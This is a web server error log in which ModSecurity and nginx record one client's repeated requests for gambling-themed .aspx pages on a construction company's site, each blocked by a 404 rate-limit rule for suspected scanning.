[Wed Mar 11 19:33:35.389539 2026] [:error] [pid 54045:tid 54063] [client 62.113.117.240:34764] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/betflix%20auto.aspx"] [unique_id "abFTDyRcKzQ1f-N8TgS3kgAAANA"]
2026/03/11 19:33:37 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /betflix%20casino.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflix%20casino.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:33:37.398199 2026] [:error] [pid 54045:tid 54070] [client 62.113.117.240:34790] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/betflix%20casino.aspx"] [unique_id "abFTESRcKzQ1f-N8TgS3lAAAANc"]
2026/03/11 19:33:39 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /betflix%20co.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflix%20co.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:33:39.404829 2026] [:error] [pid 44800:tid 44814] [client 62.113.117.240:34818] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/betflix%20co.aspx"] [unique_id "abFTEzN8ZerbIEHTO2qbywAAAcw"]
2026/03/11 19:33:41 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /betflix%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflix%20slot.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:33:41.249765 2026] [:error] [pid 44995:tid 45016] [client 62.113.117.240:34850] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/betflix%20slot.aspx"] [unique_id "abFTFToOSr9ks_axo6O1owAAAlM"]
2026/03/11 19:33:43 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /betflix%20thailand.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflix%20thailand.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:33:43.239327 2026] [:error] [pid 44882:tid 44885] [client 62.113.117.240:34878] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/betflix%20thailand.aspx"] [unique_id "abFTF1C06UlbDFYZNg0C_wAAAgE"]
2026/03/11 19:33:45 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /betflix%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflix%20wallet.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:33:45.266524 2026] [:error] [pid 54045:tid 54060] [client 62.113.117.240:34906] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/betflix%20wallet.aspx"] [unique_id "abFTGSRcKzQ1f-N8TgS3pAAAAM0"]
2026/03/11 19:33:47 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /casino%20betflik.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/casino%20betflik.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:33:47.305923 2026] [:error] [pid 54045:tid 54071] [client 62.113.117.240:34932] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/casino%20betflik.aspx"] [unique_id "abFTGyRcKzQ1f-N8TgS3qgAAANg"]
[Wed Mar 11 19:33:49.159874 2026] [:error] [pid 44995:tid 45013] [client 62.113.117.240:34962] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/casino%20betflix.aspx"] [unique_id "abFTHToOSr9ks_axo6O1rQAAAlA"]
2026/03/11 19:33:49 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /casino%20betflix.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/casino%20betflix.aspx", host: "rcacivilgroup.com"
2026/03/11 19:33:51 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /casino%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/casino%20wallet.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:33:51.189331 2026] [:error] [pid 23482:tid 23497] [client 62.113.117.240:34986] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/casino%20wallet.aspx"] [unique_id "abFTH8rYaTAnN_mLXyndFgAAAQw"]
2026/03/11 19:33:53 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /demon%20slot%20game.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/demon%20slot%20game.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:33:53.066017 2026] [:error] [pid 54045:tid 54055] [client 62.113.117.240:35014] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/demon%20slot%20game.aspx"] [unique_id "abFTISRcKzQ1f-N8TgS3uAAAAMg"]
2026/03/11 19:33:55 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /dg%20casino.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/dg%20casino.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:33:55.074078 2026] [:error] [pid 54045:tid 54049] [client 62.113.117.240:35066] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dg%20casino.aspx"] [unique_id "abFTIyRcKzQ1f-N8TgS3wQAAAMI"]
2026/03/11 19:33:56 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /g2g%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/g2g%20slot.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:33:56.985754 2026] [:error] [pid 44995:tid 45009] [client 62.113.117.240:35104] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/g2g%20slot.aspx"] [unique_id "abFTJDoOSr9ks_axo6O1tAAAAkw"]
[Wed Mar 11 19:33:59.009479 2026] [:error] [pid 44995:tid 45000] [client 62.113.117.240:35144] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "abFTJzoOSr9ks_axo6O1uAAAAkM"]
2026/03/11 19:33:59 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /galaxy%20auto%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/galaxy%20auto%20slot.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:34:01.023339 2026] [:error] [pid 45143:tid 45169] [client 62.113.117.240:35180] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "abFTKSEXSpYdWImkpzbkdwAAAZg"]
2026/03/11 19:34:01 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /galaxy%20bet%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/galaxy%20bet%20slot.aspx", host: "rcacivilgroup.com"
2026/03/11 19:34:03 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /galaxy%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/galaxy%20slot.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:34:03.029424 2026] [:error] [pid 54045:tid 54055] [client 62.113.117.240:35216] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/galaxy%20slot.aspx"] [unique_id "abFTKyRcKzQ1f-N8TgS33QAAAMg"]
2026/03/11 19:34:05 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /h25%20com.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/h25%20com.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:34:05.031844 2026] [:error] [pid 45143:tid 45168] [client 62.113.117.240:35246] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/h25%20com.aspx"] [unique_id "abFTLSEXSpYdWImkpzbkeQAAAZc"]
2026/03/11 19:34:07 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /jili%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/jili%20slot.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:34:07.056347 2026] [:error] [pid 44995:tid 45021] [client 62.113.117.240:35284] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jili%20slot.aspx"] [unique_id "abFTLzoOSr9ks_axo6O1wAAAAlg"]
[Wed Mar 11 19:34:09.056231 2026] [:error] [pid 53955:tid 54043] [client 62.113.117.240:35306] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/joker%20slot.aspx"] [unique_id "abFTMdP1Uf6qBkbxZg_yZwAAAJg"]
2026/03/11 19:34:09 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /joker%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/joker%20slot.aspx", host: "rcacivilgroup.com"
2026/03/11 19:34:29 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /pg%20auto.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20auto.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:34:29.240559 2026] [:error] [pid 23482:tid 23505] [client 62.113.117.240:35642] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pg%20auto.aspx"] [unique_id "abFTRcrYaTAnN_mLXyndOAAAARQ"]
2026/03/11 19:34:31 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /pg%20betflik.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20betflik.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:34:31.226426 2026] [:error] [pid 54045:tid 54047] [client 62.113.117.240:35682] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pg%20betflik.aspx"] [unique_id "abFTRyRcKzQ1f-N8TgS4BgAAAMA"]
2026/03/11 19:34:33 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /pg%20game%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20game%20slot.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:34:33.240923 2026] [:error] [pid 44995:tid 45015] [client 62.113.117.240:35710] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pg%20game%20slot.aspx"] [unique_id "abFTSToOSr9ks_axo6O13AAAAlI"]
[Wed Mar 11 19:34:35.247521 2026] [:error] [pid 54045:tid 54054] [client 62.113.117.240:35750] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pg%20game.aspx"] [unique_id "abFTSyRcKzQ1f-N8TgS4DQAAAMc"]
2026/03/11 19:34:35 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /pg%20game.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20game.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:34:37.261941 2026] [:error] [pid 44800:tid 44817] [client 62.113.117.240:35778] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pg%20joker%20auto.aspx"] [unique_id "abFTTTN8ZerbIEHTO2qb6AAAAc8"]
2026/03/11 19:34:37 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /pg%20joker%20auto.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20joker%20auto.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:34:39.266702 2026] [:error] [pid 44995:tid 45006] [client 62.113.117.240:35804] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pg%20joker.aspx"] [unique_id "abFTTzoOSr9ks_axo6O16gAAAkk"]
2026/03/11 19:34:39 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /pg%20joker.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20joker.aspx", host: "rcacivilgroup.com"
2026/03/11 19:34:41 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /pg%20osaka.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20osaka.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:34:41.298536 2026] [:error] [pid 23482:tid 23502] [client 62.113.117.240:35832] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pg%20osaka.aspx"] [unique_id "abFTUcrYaTAnN_mLXyndRQAAARE"]
2026/03/11 19:34:43 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /pg%20plus.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20plus.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:34:43.325749 2026] [:error] [pid 23482:tid 23505] [client 62.113.117.240:35864] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pg%20plus.aspx"] [unique_id "abFTU8rYaTAnN_mLXyndRgAAARQ"]
2026/03/11 19:34:45 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /pg%20slot%20168.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20slot%20168.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:34:45.350545 2026] [:error] [pid 44882:tid 44888] [client 62.113.117.240:35902] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pg%20slot%20168.aspx"] [unique_id "abFTVVC06UlbDFYZNg0DEwAAAgQ"]
[Wed Mar 11 19:34:47.359707 2026] [:error] [pid 54045:tid 54054] [client 62.113.117.240:35938] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pg%20slot%20789.aspx"] [unique_id "abFTVyRcKzQ1f-N8TgS4HgAAAMc"]
2026/03/11 19:34:47 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /pg%20slot%20789.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20slot%20789.aspx", host: "rcacivilgroup.com"
2026/03/11 19:34:49 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /pg%20slot%20888th.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20slot%20888th.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:34:49.399510 2026] [:error] [pid 54045:tid 54064] [client 62.113.117.240:35962] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pg%20slot%20888th.aspx"] [unique_id "abFTWSRcKzQ1f-N8TgS4JQAAANE"]
2026/03/11 19:34:51 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /pg%20slot%20auto%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20slot%20auto%20wallet.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:34:51.402459 2026] [:error] [pid 54045:tid 54054] [client 62.113.117.240:35988] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "abFTWyRcKzQ1f-N8TgS4MQAAAMc"]
[Wed Mar 11 19:34:53.404433 2026] [:error] [pid 44882:tid 44898] [client 62.113.117.240:36022] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pg%20slot%20auto.aspx"] [unique_id "abFTXVC06UlbDFYZNg0DFgAAAg4"]
2026/03/11 19:34:53 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /pg%20slot%20auto.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20slot%20auto.aspx", host: "rcacivilgroup.com"
2026/03/11 19:34:55 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /pg%20slot%20game.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20slot%20game.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:34:55.445220 2026] [:error] [pid 54045:tid 54066] [client 62.113.117.240:36054] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pg%20slot%20game.aspx"] [unique_id "abFTXyRcKzQ1f-N8TgS4QQAAANM"]
2026/03/11 19:34:57 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /pg%20slot%20vegas.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20slot%20vegas.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:34:57.434032 2026] [:error] [pid 53955:tid 54037] [client 62.113.117.240:36094] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "abFTYdP1Uf6qBkbxZg_yjwAAAJI"]
2026/03/11 19:34:59 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /pg%20slot%20vip.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20slot%20vip.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:34:59.445831 2026] [:error] [pid 44995:tid 45012] [client 62.113.117.240:36132] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pg%20slot%20vip.aspx"] [unique_id "abFTYzoOSr9ks_axo6O1_QAAAk8"]
2026/03/11 19:35:01 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /pg%20slot%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20slot%20wallet.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:35:01.318815 2026] [:error] [pid 53955:tid 54018] [client 62.113.117.240:36156] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "abFTZdP1Uf6qBkbxZg_ykgAAAIA"]
[Wed Mar 11 19:35:03.321976 2026] [:error] [pid 53955:tid 54034] [client 62.113.117.240:36186] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pg%20slot.aspx"] [unique_id "abFTZ9P1Uf6qBkbxZg_ykwAAAI8"]
2026/03/11 19:35:03 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /pg%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20slot.aspx", host: "rcacivilgroup.com"
